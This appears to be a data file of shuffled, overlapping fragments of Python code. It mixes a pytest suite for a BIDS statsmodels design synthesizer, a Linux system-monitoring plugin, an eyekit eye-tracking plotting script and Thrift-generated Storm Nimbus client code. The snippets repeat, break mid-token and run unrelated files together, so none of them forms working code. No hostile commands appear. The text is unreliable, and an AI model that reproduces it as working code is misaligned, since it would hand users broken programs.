Path(__file__).parent.parent / \"boutiques\" cmd = f\"\"\" bosh", "as synth_mod EXAMPLE_USER_ARGS = { \"OUTPUT_TSV\": \"aggregated_design.tsv\", \"MODEL\": \"data/ds000003/models/model-001_smdl.json\", \"EVENTS_TSV\":", "bids.analysis import Analysis from bids.layout import BIDSLayout layout = BIDSLayout(\"data/ds000003\")", "/bin/sh as the entrypoint for the contain to /bin/sh so", "\"DURATION\": 320, } def test_cli_help(): with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER,", "be tweaked to have the conda env and the pip", "} def test_cli_help(): with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"-h\"]) with", "#!/usr/bin/env python \"\"\"Tests for `bids_statsmodels_design_synthesizer` package.\"\"\" import pytest import subprocess", "not setup for boutiques yet\") def test_minimal_cli_functionality_using_boutiques(): \"\"\"This might be", "bids_dir = Path(__file__).parent / \"data/ds000003\" model = \"model-001_smdl.json\" arg_list =", "Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout) analysis.setup() more specifically we want to reimplement this line", "yet\") def test_minimal_cli_functionality_using_boutiques(): \"\"\"This might be nice to do. boutiques", "\"aggregated_design.tsv\", \"MODEL\": \"data/ds000003/models/model-001_smdl.json\", \"EVENTS_TSV\": \"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\", \"DURATION\": 320, } def test_cli_help():", "to implement the equivalent of the following: from bids.analysis import", "for `bids_statsmodels_design_synthesizer` package.\"\"\" import pytest import subprocess as sp from", "EXAMPLE_USER_ARGS.items()]) cmd = f\"{SYNTHESIZER} {arg_list}\" output = sp.check_output(cmd.split()) @pytest.mark.xfail(reason=\"Container not", "BIDSLayout layout = BIDSLayout(\"data/ds000003\") analysis = Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout) analysis.setup() more specifically", "implement the equivalent of the following: from bids.analysis import Analysis", "\" \" .join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\" for k,v in EXAMPLE_USER_ARGS.items()]) cmd = f\"{SYNTHESIZER}", "boutiques_dir = Path(__file__).parent.parent / \"boutiques\" cmd = f\"\"\" bosh exec", "import subprocess as sp from pathlib import Path SYNTHESIZER =", "env and the pip installed package working correctly\"\"\" boutiques_dir =", "more specifically we want to reimplement this line https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282 \"\"\"", "to do. boutiques sets /bin/sh as the entrypoint for the", "conda env and the pip installed package working correctly\"\"\" boutiques_dir", "cmd = f\"{SYNTHESIZER} {arg_list}\" output = sp.check_output(cmd.split()) @pytest.mark.xfail(reason=\"Container not setup", "Path(SYNTHESIZER).stem as synth_mod EXAMPLE_USER_ARGS = { \"OUTPUT_TSV\": \"aggregated_design.tsv\", \"MODEL\": \"data/ds000003/models/model-001_smdl.json\",", "pytest import subprocess as sp from pathlib import Path SYNTHESIZER", "= Path(__file__).parent.parent / \"boutiques\" cmd = f\"\"\" bosh exec launch", "as the entrypoint for the contain to /bin/sh so this", "f\"\"\" bosh exec launch {boutiques_dir}/bids-app-bids-statsmodels-design-synthesizer.json {boutiques_dir}/invocation.json \"\"\" output = sp.check_output(cmd.split())", "\"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\", \"DURATION\": 320, } def test_cli_help(): with pytest.raises(sp.CalledProcessError): output =", "the pip installed package working correctly\"\"\" boutiques_dir = Path(__file__).parent.parent /", "def test_design_aggregation_function(): synth_mod.main(EXAMPLE_USER_ARGS) def test_minimal_cli_functionality(): \"\"\" We roughly want to", "`bids_statsmodels_design_synthesizer` package.\"\"\" import pytest import subprocess as sp from pathlib", "= sp.check_output([SYNTHESIZER, \"-h\"]) with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"--non-existent\"]) def", "# from bids_statsmodels_design_synthesizer import Path(SYNTHESIZER).stem as synth_mod EXAMPLE_USER_ARGS = {", "we want to reimplement this line https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282 \"\"\" bids_dir =", "\"aggregate_stats_design.py\" from bids_statsmodels_design_synthesizer import aggregate_stats_design as synth_mod # from bids_statsmodels_design_synthesizer", "arg_list = \" \" .join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\" for k,v in EXAMPLE_USER_ARGS.items()]) cmd", "boutiques sets /bin/sh as the entrypoint for the contain to", "synth_mod # from bids_statsmodels_design_synthesizer import Path(SYNTHESIZER).stem as synth_mod EXAMPLE_USER_ARGS =", "\"--non-existent\"]) def test_design_aggregation_function(): synth_mod.main(EXAMPLE_USER_ARGS) def test_minimal_cli_functionality(): \"\"\" We roughly want", "\"MODEL\": \"data/ds000003/models/model-001_smdl.json\", \"EVENTS_TSV\": \"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\", \"DURATION\": 320, } def test_cli_help(): with", "import pytest import subprocess as sp from pathlib import Path", "= f\"\"\" bosh exec launch {boutiques_dir}/bids-app-bids-statsmodels-design-synthesizer.json {boutiques_dir}/invocation.json \"\"\" output =", "= sp.check_output(cmd.split()) @pytest.mark.xfail(reason=\"Container not setup for boutiques yet\") def test_minimal_cli_functionality_using_boutiques():", "want to reimplement this line https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282 \"\"\" bids_dir = Path(__file__).parent", "test_cli_help(): with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"-h\"]) with pytest.raises(sp.CalledProcessError): output" ]
[ "Community Edition @file: plugin_api.py @time: 2015-11-28 下午1:52 \"\"\" from linux", "return cpu.monitor() def get_memory_info(): return memory.monitor() def get_swap_info(): return swap.monitor()", "\"\"\" @version: 1.0 @author: whoami @license: Apache Licence 2.0 @contact:", "@version: 1.0 @author: whoami @license: Apache Licence 2.0 @contact: <EMAIL>", "<EMAIL> @site: http://www.itweet.cn @software: PyCharm Community Edition @file: plugin_api.py @time:", "@file: plugin_api.py @time: 2015-11-28 下午1:52 \"\"\" from linux import cpu,disk,iostats,loadavg,memory,netstats,swap", "'whoami' \"\"\" @version: 1.0 @author: whoami @license: Apache Licence 2.0", "get_memory_info(): return memory.monitor() def get_swap_info(): return swap.monitor() def get_disk_info(): return", "return swap.monitor() def get_disk_info(): return disk.monitor() def get_network_info(): return netstats.monitor()", "= 'whoami' \"\"\" @version: 1.0 @author: whoami @license: Apache Licence", "cpu,disk,iostats,loadavg,memory,netstats,swap def get_load_info(): return loadavg.monitor() def get_cpu_status(): return cpu.monitor() def", "get_swap_info(): return swap.monitor() def get_disk_info(): return disk.monitor() def get_network_info(): return", "loadavg.monitor() def get_cpu_status(): return cpu.monitor() def get_memory_info(): return memory.monitor() def", "2015-11-28 下午1:52 \"\"\" from linux import cpu,disk,iostats,loadavg,memory,netstats,swap def get_load_info(): return", "下午1:52 \"\"\" from linux import cpu,disk,iostats,loadavg,memory,netstats,swap def get_load_info(): return loadavg.monitor()", "return loadavg.monitor() def get_cpu_status(): return cpu.monitor() def get_memory_info(): return memory.monitor()", "@author: whoami @license: Apache Licence 2.0 @contact: <EMAIL> @site: http://www.itweet.cn", "plugin_api.py @time: 2015-11-28 下午1:52 \"\"\" from linux import cpu,disk,iostats,loadavg,memory,netstats,swap def", "from linux import cpu,disk,iostats,loadavg,memory,netstats,swap def get_load_info(): return loadavg.monitor() def get_cpu_status():", "Apache Licence 2.0 @contact: <EMAIL> @site: http://www.itweet.cn @software: PyCharm Community", "1.0 @author: whoami @license: Apache Licence 2.0 @contact: <EMAIL> @site:", "def get_memory_info(): return memory.monitor() def get_swap_info(): return swap.monitor() def get_disk_info():", "Licence 2.0 @contact: <EMAIL> @site: http://www.itweet.cn @software: PyCharm Community Edition", "PyCharm Community Edition @file: plugin_api.py @time: 2015-11-28 下午1:52 \"\"\" from", "get_load_info(): return loadavg.monitor() def get_cpu_status(): return cpu.monitor() def get_memory_info(): return", "cpu.monitor() def get_memory_info(): return memory.monitor() def get_swap_info(): return swap.monitor() def", "coding: utf-8 __author__ = 'whoami' \"\"\" @version: 1.0 @author: whoami", "__author__ = 'whoami' \"\"\" @version: 1.0 @author: whoami @license: Apache", "whoami @license: Apache Licence 2.0 @contact: <EMAIL> @site: http://www.itweet.cn @software:", "get_cpu_status(): return cpu.monitor() def get_memory_info(): return memory.monitor() def get_swap_info(): return", "return memory.monitor() def get_swap_info(): return swap.monitor() def get_disk_info(): return disk.monitor()", "2.0 @contact: <EMAIL> @site: http://www.itweet.cn @software: PyCharm Community Edition @file:", "@site: http://www.itweet.cn @software: PyCharm Community Edition @file: plugin_api.py @time: 2015-11-28", "@contact: <EMAIL> @site: http://www.itweet.cn @software: PyCharm Community Edition @file: plugin_api.py", "def get_swap_info(): return swap.monitor() def get_disk_info(): return disk.monitor() def get_network_info():", "@license: Apache Licence 2.0 @contact: <EMAIL> @site: http://www.itweet.cn @software: PyCharm", "#!/usr/bin/env python # coding: utf-8 __author__ = 'whoami' \"\"\" @version:", "def get_disk_info(): return disk.monitor() def get_network_info(): return netstats.monitor() def get_iostats_info():", "@time: 2015-11-28 下午1:52 \"\"\" from linux import cpu,disk,iostats,loadavg,memory,netstats,swap def get_load_info():", "Edition @file: plugin_api.py @time: 2015-11-28 下午1:52 \"\"\" from linux import", "utf-8 __author__ = 'whoami' \"\"\" @version: 1.0 @author: whoami @license:", "def get_load_info(): return loadavg.monitor() def get_cpu_status(): return cpu.monitor() def get_memory_info():", "http://www.itweet.cn @software: PyCharm Community Edition @file: plugin_api.py @time: 2015-11-28 下午1:52", "memory.monitor() def get_swap_info(): return swap.monitor() def get_disk_info(): return disk.monitor() def", "swap.monitor() def get_disk_info(): return disk.monitor() def get_network_info(): return netstats.monitor() def", "# coding: utf-8 __author__ = 'whoami' \"\"\" @version: 1.0 @author:", "\"\"\" from linux import cpu,disk,iostats,loadavg,memory,netstats,swap def get_load_info(): return loadavg.monitor() def", "return disk.monitor() def get_network_info(): return netstats.monitor() def get_iostats_info(): return iostats.monitor()", "python # coding: utf-8 __author__ = 'whoami' \"\"\" @version: 1.0", "@software: PyCharm Community Edition @file: plugin_api.py @time: 2015-11-28 下午1:52 \"\"\"", "import cpu,disk,iostats,loadavg,memory,netstats,swap def get_load_info(): return loadavg.monitor() def get_cpu_status(): return cpu.monitor()", "get_disk_info(): return disk.monitor() def get_network_info(): return netstats.monitor() def get_iostats_info(): return", "linux import cpu,disk,iostats,loadavg,memory,netstats,swap def get_load_info(): return loadavg.monitor() def get_cpu_status(): return", "def get_cpu_status(): return cpu.monitor() def get_memory_info(): return memory.monitor() def get_swap_info():" ]
[ "/ 'sample.json') passages = eyekit.io.load(core.DATA / 'passages.json') original_sequence = data['trial_5']['fixations']", "= algorithms.dynamic_time_warping(fixation_XY, word_XY) for fixation, mapped_words in zip(original_sequence, warping_path): for", "np.array([i*100 for i in range(len(word_XY))], dtype=int) expected_sequence = eyekit.FixationSequence(np.column_stack([word_XY, start_times,", "diagram.draw_fixation_sequence(expected_sequence, color='#E32823', fixation_radius=6) diagram.draw_fixation_sequence(original_sequence, color='#205E84', fixation_radius=6) _, warping_path = algorithms.dynamic_time_warping(fixation_XY,", "_, warping_path = algorithms.dynamic_time_warping(fixation_XY, word_XY) for fixation, mapped_words in zip(original_sequence,", "/ 'passages.json') original_sequence = data['trial_5']['fixations'] fixation_XY = np.array([fixation.xy for fixation", "word_y = word_XY[word_i] diagram.draw_line(fixation.xy, (word_x, word_y), color='black', stroke_width=0.5, dashed=True) fig", "in mapped_words: word_x, word_y = word_XY[word_i] diagram.draw_line(fixation.xy, (word_x, word_y), color='black',", "diagram.draw_fixation_sequence(original_sequence, color='#205E84', fixation_radius=6) _, warping_path = algorithms.dynamic_time_warping(fixation_XY, word_XY) for fixation,", "core data = eyekit.io.load(core.FIXATIONS / 'sample.json') passages = eyekit.io.load(core.DATA /", "horizontal=3, edge=1) fig.set_enumeration(False) fig.save(core.VISUALS / 'illustration_warp.pdf', width=83) # fig.save(core.FIGS /", "fixation_radius=6) diagram.draw_fixation_sequence(original_sequence, color='#205E84', fixation_radius=6) _, warping_path = algorithms.dynamic_time_warping(fixation_XY, word_XY) for", "fixation_XY = np.array([fixation.xy for fixation in original_sequence], dtype=int) word_XY =", "stroke_width=0.5, dashed=True) fig = eyekit.vis.Figure() fig.add_image(diagram) fig.set_crop_margin(2) fig.set_padding(vertical=2, horizontal=3, edge=1)", "as np import eyekit import algorithms import core data =", "data = eyekit.io.load(core.FIXATIONS / 'sample.json') passages = eyekit.io.load(core.DATA / 'passages.json')", "diagram.draw_text_block(passages['1B'], mask_text=True) diagram.draw_fixation_sequence(expected_sequence, color='#E32823', fixation_radius=6) diagram.draw_fixation_sequence(original_sequence, color='#205E84', fixation_radius=6) _, warping_path", "'sample.json') passages = eyekit.io.load(core.DATA / 'passages.json') original_sequence = data['trial_5']['fixations'] fixation_XY", "fig.set_crop_margin(2) fig.set_padding(vertical=2, horizontal=3, edge=1) fig.set_enumeration(False) fig.save(core.VISUALS / 'illustration_warp.pdf', width=83) #", "= eyekit.io.load(core.DATA / 'passages.json') original_sequence = data['trial_5']['fixations'] fixation_XY = np.array([fixation.xy", "fig.set_padding(vertical=2, horizontal=3, edge=1) fig.set_enumeration(False) fig.save(core.VISUALS / 'illustration_warp.pdf', width=83) # fig.save(core.FIGS", "= eyekit.io.load(core.FIXATIONS / 'sample.json') passages = eyekit.io.load(core.DATA / 'passages.json') original_sequence", "import numpy as np import eyekit import algorithms import core", "zip(original_sequence, warping_path): for word_i in mapped_words: word_x, word_y = word_XY[word_i]", "dtype=int) start_times = np.array([i*100 for i in range(len(word_XY))], dtype=int) expected_sequence", "mask_text=True) diagram.draw_fixation_sequence(expected_sequence, color='#E32823', fixation_radius=6) diagram.draw_fixation_sequence(original_sequence, color='#205E84', fixation_radius=6) _, warping_path =", "'passages.json') original_sequence = data['trial_5']['fixations'] fixation_XY = np.array([fixation.xy for fixation in", "for i in range(len(word_XY))], dtype=int) expected_sequence = eyekit.FixationSequence(np.column_stack([word_XY, start_times, start_times+100]))", "expected_sequence = eyekit.FixationSequence(np.column_stack([word_XY, start_times, start_times+100])) diagram = eyekit.vis.Image(1920, 1080) diagram.draw_text_block(passages['1B'],", "fig.set_enumeration(False) fig.save(core.VISUALS / 'illustration_warp.pdf', width=83) # fig.save(core.FIGS / 'fig02_single_column.eps', width=83)", "range(len(word_XY))], dtype=int) expected_sequence = eyekit.FixationSequence(np.column_stack([word_XY, start_times, start_times+100])) diagram = eyekit.vis.Image(1920,", "data['trial_5']['fixations'] fixation_XY = np.array([fixation.xy for fixation in original_sequence], dtype=int) word_XY", "= word_XY[word_i] diagram.draw_line(fixation.xy, (word_x, word_y), color='black', stroke_width=0.5, dashed=True) fig =", "for word_i in mapped_words: word_x, word_y = word_XY[word_i] diagram.draw_line(fixation.xy, (word_x,", "eyekit.io.load(core.FIXATIONS / 'sample.json') passages = eyekit.io.load(core.DATA / 'passages.json') original_sequence =", "eyekit import algorithms import core data = eyekit.io.load(core.FIXATIONS / 'sample.json')", "fixation in original_sequence], dtype=int) word_XY = np.array([word.center for word in", "eyekit.io.load(core.DATA / 'passages.json') original_sequence = data['trial_5']['fixations'] fixation_XY = np.array([fixation.xy for", "word_y), color='black', stroke_width=0.5, dashed=True) fig = eyekit.vis.Figure() fig.add_image(diagram) fig.set_crop_margin(2) fig.set_padding(vertical=2,", "original_sequence = data['trial_5']['fixations'] fixation_XY = np.array([fixation.xy for fixation in original_sequence],", "(word_x, word_y), color='black', stroke_width=0.5, dashed=True) fig = eyekit.vis.Figure() fig.add_image(diagram) fig.set_crop_margin(2)", "eyekit.vis.Image(1920, 1080) diagram.draw_text_block(passages['1B'], mask_text=True) diagram.draw_fixation_sequence(expected_sequence, color='#E32823', fixation_radius=6) diagram.draw_fixation_sequence(original_sequence, color='#205E84', fixation_radius=6)", "color='black', stroke_width=0.5, dashed=True) fig = eyekit.vis.Figure() fig.add_image(diagram) fig.set_crop_margin(2) fig.set_padding(vertical=2, horizontal=3,", "diagram = eyekit.vis.Image(1920, 1080) diagram.draw_text_block(passages['1B'], mask_text=True) diagram.draw_fixation_sequence(expected_sequence, color='#E32823', fixation_radius=6) diagram.draw_fixation_sequence(original_sequence,", "fixation, mapped_words in zip(original_sequence, warping_path): for word_i in mapped_words: word_x,", "dashed=True) fig = eyekit.vis.Figure() fig.add_image(diagram) fig.set_crop_margin(2) fig.set_padding(vertical=2, horizontal=3, edge=1) fig.set_enumeration(False)", "passages = eyekit.io.load(core.DATA / 'passages.json') original_sequence = data['trial_5']['fixations'] fixation_XY =", "mapped_words: word_x, word_y = word_XY[word_i] diagram.draw_line(fixation.xy, (word_x, word_y), color='black', stroke_width=0.5,", "= np.array([i*100 for i in range(len(word_XY))], dtype=int) expected_sequence = eyekit.FixationSequence(np.column_stack([word_XY,", "word_XY) for fixation, mapped_words in zip(original_sequence, warping_path): for word_i in", "import eyekit import algorithms import core data = eyekit.io.load(core.FIXATIONS /", "import algorithms import core data = eyekit.io.load(core.FIXATIONS / 'sample.json') passages", "word_XY[word_i] diagram.draw_line(fixation.xy, (word_x, word_y), color='black', stroke_width=0.5, dashed=True) fig = eyekit.vis.Figure()", "= data['trial_5']['fixations'] fixation_XY = np.array([fixation.xy for fixation in original_sequence], dtype=int)", "= eyekit.vis.Figure() fig.add_image(diagram) fig.set_crop_margin(2) fig.set_padding(vertical=2, horizontal=3, edge=1) fig.set_enumeration(False) fig.save(core.VISUALS /", "color='#205E84', fixation_radius=6) _, warping_path = algorithms.dynamic_time_warping(fixation_XY, word_XY) for fixation, mapped_words", "passages['1B'].words(alphabetical_only=False)], dtype=int) start_times = np.array([i*100 for i in range(len(word_XY))], dtype=int)", "original_sequence], dtype=int) word_XY = np.array([word.center for word in passages['1B'].words(alphabetical_only=False)], dtype=int)", "in passages['1B'].words(alphabetical_only=False)], dtype=int) start_times = np.array([i*100 for i in range(len(word_XY))],", "start_times = np.array([i*100 for i in range(len(word_XY))], dtype=int) expected_sequence =", "in zip(original_sequence, warping_path): for word_i in mapped_words: word_x, word_y =", "color='#E32823', fixation_radius=6) diagram.draw_fixation_sequence(original_sequence, color='#205E84', fixation_radius=6) _, warping_path = algorithms.dynamic_time_warping(fixation_XY, word_XY)", "for fixation, mapped_words in zip(original_sequence, warping_path): for word_i in mapped_words:", "= eyekit.vis.Image(1920, 1080) diagram.draw_text_block(passages['1B'], mask_text=True) diagram.draw_fixation_sequence(expected_sequence, color='#E32823', fixation_radius=6) diagram.draw_fixation_sequence(original_sequence, color='#205E84',", "algorithms.dynamic_time_warping(fixation_XY, word_XY) for fixation, mapped_words in zip(original_sequence, warping_path): for word_i", "start_times, start_times+100])) diagram = eyekit.vis.Image(1920, 1080) diagram.draw_text_block(passages['1B'], mask_text=True) diagram.draw_fixation_sequence(expected_sequence, color='#E32823',", "eyekit.FixationSequence(np.column_stack([word_XY, start_times, start_times+100])) diagram = eyekit.vis.Image(1920, 1080) diagram.draw_text_block(passages['1B'], mask_text=True) diagram.draw_fixation_sequence(expected_sequence,", "warping_path = algorithms.dynamic_time_warping(fixation_XY, word_XY) for fixation, mapped_words in zip(original_sequence, warping_path):", "dtype=int) word_XY = np.array([word.center for word in passages['1B'].words(alphabetical_only=False)], dtype=int) start_times", "fig.add_image(diagram) fig.set_crop_margin(2) fig.set_padding(vertical=2, horizontal=3, edge=1) fig.set_enumeration(False) fig.save(core.VISUALS / 'illustration_warp.pdf', width=83)", "fig = eyekit.vis.Figure() fig.add_image(diagram) fig.set_crop_margin(2) fig.set_padding(vertical=2, horizontal=3, edge=1) fig.set_enumeration(False) fig.save(core.VISUALS", "algorithms import core data = eyekit.io.load(core.FIXATIONS / 'sample.json') passages =", "fixation_radius=6) _, warping_path = algorithms.dynamic_time_warping(fixation_XY, word_XY) for fixation, mapped_words in", "word_x, word_y = word_XY[word_i] diagram.draw_line(fixation.xy, (word_x, word_y), color='black', stroke_width=0.5, dashed=True)", "word_i in mapped_words: word_x, word_y = word_XY[word_i] diagram.draw_line(fixation.xy, (word_x, word_y),", "1080) diagram.draw_text_block(passages['1B'], mask_text=True) diagram.draw_fixation_sequence(expected_sequence, color='#E32823', fixation_radius=6) diagram.draw_fixation_sequence(original_sequence, color='#205E84', fixation_radius=6) _,", "start_times+100])) diagram = eyekit.vis.Image(1920, 1080) diagram.draw_text_block(passages['1B'], mask_text=True) diagram.draw_fixation_sequence(expected_sequence, color='#E32823', fixation_radius=6)", "np import eyekit import algorithms import core data = eyekit.io.load(core.FIXATIONS", "i in range(len(word_XY))], dtype=int) expected_sequence = eyekit.FixationSequence(np.column_stack([word_XY, start_times, start_times+100])) diagram", "warping_path): for word_i in mapped_words: word_x, word_y = word_XY[word_i] diagram.draw_line(fixation.xy,", "eyekit.vis.Figure() fig.add_image(diagram) fig.set_crop_margin(2) fig.set_padding(vertical=2, horizontal=3, edge=1) fig.set_enumeration(False) fig.save(core.VISUALS / 'illustration_warp.pdf',", "= np.array([fixation.xy for fixation in original_sequence], dtype=int) word_XY = np.array([word.center", "= np.array([word.center for word in passages['1B'].words(alphabetical_only=False)], dtype=int) start_times = np.array([i*100", "word in passages['1B'].words(alphabetical_only=False)], dtype=int) start_times = np.array([i*100 for i in", "np.array([word.center for word in passages['1B'].words(alphabetical_only=False)], dtype=int) start_times = np.array([i*100 for", "for word in passages['1B'].words(alphabetical_only=False)], dtype=int) start_times = np.array([i*100 for i", "= eyekit.FixationSequence(np.column_stack([word_XY, start_times, start_times+100])) diagram = eyekit.vis.Image(1920, 1080) diagram.draw_text_block(passages['1B'], mask_text=True)", "in original_sequence], dtype=int) word_XY = np.array([word.center for word in passages['1B'].words(alphabetical_only=False)],", "for fixation in original_sequence], dtype=int) word_XY = np.array([word.center for word", "numpy as np import eyekit import algorithms import core data", "edge=1) fig.set_enumeration(False) fig.save(core.VISUALS / 'illustration_warp.pdf', width=83) # fig.save(core.FIGS / 'fig02_single_column.eps',", "import core data = eyekit.io.load(core.FIXATIONS / 'sample.json') passages = eyekit.io.load(core.DATA", "word_XY = np.array([word.center for word in passages['1B'].words(alphabetical_only=False)], dtype=int) start_times =", "np.array([fixation.xy for fixation in original_sequence], dtype=int) word_XY = np.array([word.center for", "diagram.draw_line(fixation.xy, (word_x, word_y), color='black', stroke_width=0.5, dashed=True) fig = eyekit.vis.Figure() fig.add_image(diagram)", "mapped_words in zip(original_sequence, warping_path): for word_i in mapped_words: word_x, word_y", "in range(len(word_XY))], dtype=int) expected_sequence = eyekit.FixationSequence(np.column_stack([word_XY, start_times, start_times+100])) diagram =", "dtype=int) expected_sequence = eyekit.FixationSequence(np.column_stack([word_XY, start_times, start_times+100])) diagram = eyekit.vis.Image(1920, 1080)" ]
[ "result.ite return def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): \"\"\"", "activate(self, name): \"\"\" Parameters: - name \"\"\" pass def deactivate(self,", "oprot.writeMessageBegin(\"getClusterInfo\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyInfo(self, seqid, iprot,", "Attributes: - e - ite \"\"\" thrift_spec = ( None,", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "success self.e = e def read(self, iprot): if iprot.__class__ ==", "TType, TMessageType, TException, TApplicationException from ttypes import * from thrift.Thrift", "class getClusterInfo_args: thrift_spec = ( ) def read(self, iprot): if", "not (self == other) class getNimbusConf_args: thrift_spec = ( )", "3) oprot.writeString(self.jsonConf) oprot.writeFieldEnd() if self.topology is not None: oprot.writeFieldBegin('topology', TType.STRUCT,", "(self == other) class rebalance_result: \"\"\" Attributes: - e -", "self._seqid) args = getUserTopology_args() args.id = id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "), # 1 ) def __init__(self, file=None,): self.file = file", "location=None,): self.location = location def read(self, iprot): if iprot.__class__ ==", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_args') if self.name is", "= killTopology_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopology(self,", "return not (self == other) class getTopologyConf_args: \"\"\" Attributes: -", "self._oprot.trans.flush() def recv_uploadChunk(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "== other) class getClusterInfo_args: thrift_spec = ( ) def read(self,", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopologyInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "oprot): args = rebalance_args() args.read(iprot) iprot.readMessageEnd() result = rebalance_result() try:", "NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getUserTopology\", TMessageType.REPLY, seqid) result.write(oprot)", "self.uploadedJarLocation = iprot.readString(); else: iprot.skip(ftype) elif fid == 3: if", "= getTopologyConf_result() try: result.success = self._handler.getTopologyConf(args.id) except NotAliveException as e:", "__init__(self, e=None,): self.e = e def read(self, iprot): if iprot.__class__", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopologyWithOpts_result') if self.e is not", "pass def getTopologyConf(self, id): \"\"\" Parameters: - id \"\"\" pass", "return not (self == other) class beginFileUpload_args: thrift_spec = (", "Parameters: - name \"\"\" self.send_killTopology(name) self.recv_killTopology() def send_killTopology(self, name): self._oprot.writeMessageBegin('killTopology',", "InvalidTopologyException as ite: result.ite = ite oprot.writeMessageBegin(\"rebalance\", TMessageType.REPLY, seqid) result.write(oprot)", "None, ), # 2 ) def __init__(self, name=None, options=None,): self.name", "result.ite = ite oprot.writeMessageBegin(\"submitTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "(3, TType.STRING, 'jsonConf', None, None, ), # 3 (4, TType.STRUCT,", "self.uploadedJarLocation = uploadedJarLocation self.jsonConf = jsonConf self.topology = topology def", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_result') if self.success is not", "\"\"\" Parameters: - name - uploadedJarLocation - jsonConf - topology", "other) class getClusterInfo_args: thrift_spec = ( ) def read(self, iprot):", "not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getClusterInfo failed: unknown result\");", "TType.STRING, 'chunk', None, None, ), # 2 ) def __init__(self,", "return oprot.writeStructBegin('getTopology_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0)", "if result.success is not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileDownload", "= submitTopologyWithOpts_args() args.name = name args.uploadedJarLocation = uploadedJarLocation args.jsonConf =", "\"\"\" Parameters: - name - options \"\"\" self.send_killTopologyWithOpts(name, options) self.recv_killTopologyWithOpts()", "- jsonConf - topology - options \"\"\" self.send_submitTopologyWithOpts(name, uploadedJarLocation, jsonConf,", "raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getUserTopology failed: unknown result\"); class Processor(Iface,", "def getUserTopology(self, id): \"\"\" Parameters: - id \"\"\" pass class", "id \"\"\" pass def getUserTopology(self, id): \"\"\" Parameters: - id", "oprot.trans.flush() def process_submitTopologyWithOpts(self, seqid, iprot, oprot): args = submitTopologyWithOpts_args() args.read(iprot)", "beginFileDownload_args() args.read(iprot) iprot.readMessageEnd() result = beginFileDownload_result() result.success = self._handler.beginFileDownload(args.file) oprot.writeMessageBegin(\"beginFileDownload\",", "return def rebalance(self, name, options): \"\"\" Parameters: - name -", "= ( ) def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "elif fid == 2: if ftype == TType.STRING: self.chunk =", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_args') oprot.writeFieldStop()", "iprot.readMessageBegin() if name not in self._processMap: iprot.skip(TType.STRUCT) iprot.readMessageEnd() x =", "self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT,", "HELPER FUNCTIONS AND STRUCTURES class submitTopology_args: \"\"\" Attributes: - name", "raise result.e if result.ite is not None: raise result.ite return", "== TType.STRING: self.name = iprot.readString(); else: iprot.skip(ftype) elif fid ==", "return oprot.writeStructBegin('getUserTopology_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0)", "oprot.writeMessageBegin(\"deactivate\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_rebalance(self, seqid, iprot,", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_result') if self.success is", "if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is", "recv_finishFileUpload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "oprot): args = getClusterInfo_args() args.read(iprot) iprot.readMessageEnd() result = getClusterInfo_result() result.success", "ftype == TType.STRUCT: self.success = TopologyInfo() self.success.read(iprot) else: iprot.skip(ftype) elif", "self._oprot.writeMessageBegin('getTopology', TMessageType.CALL, self._seqid) args = getTopology_args() args.id = id args.write(self._oprot)", "), # 0 (1, TType.STRUCT, 'e', (NotAliveException, NotAliveException.thrift_spec), None, ),", "raise result.ite return def submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options):", 